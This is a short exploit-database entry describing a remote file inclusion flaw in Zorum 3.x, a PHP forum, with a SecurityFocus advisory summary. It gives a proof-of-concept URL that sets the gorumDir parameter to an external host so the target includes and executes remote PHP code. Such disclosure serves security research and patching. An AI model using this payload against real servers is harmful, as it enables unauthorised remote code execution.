PHPOutsourcing Zorum 3.x - Remote File Inclusion Command Execution

Author: MGhz
type: webapps
platform: php
port: 0
date_added: 2003-01-22
date_updated: 2012-10-24
verified: 1
codes: 
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/6669/info

It has been reported that Zorum may allow remote users to influence to location of PHP includes. Because of this, it is possible for a remote user to include an external arbitrary PHP script containing commands that may be carried out on the vulnerable host.

http://[target]/[forum_dir]/include.php?gorumDir=http://example.com/
-->
include http://example.com/group.php on remote server